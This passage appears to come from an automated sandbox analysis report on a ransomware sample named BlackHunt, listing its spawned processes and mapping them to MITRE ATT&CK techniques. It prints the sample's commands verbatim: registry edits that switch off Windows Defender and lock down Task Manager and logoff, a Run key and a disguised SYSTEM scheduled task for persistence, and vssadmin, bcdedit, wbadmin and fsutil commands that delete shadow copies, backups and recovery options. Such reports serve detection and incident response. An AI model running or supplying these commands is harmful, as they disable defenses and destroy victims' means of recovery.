  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe" /F
  2⤵
  PID:3960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:628
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1860
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1760
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3740
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:216
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1112
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2284
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2456
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1172
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:880

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5524

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6888

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery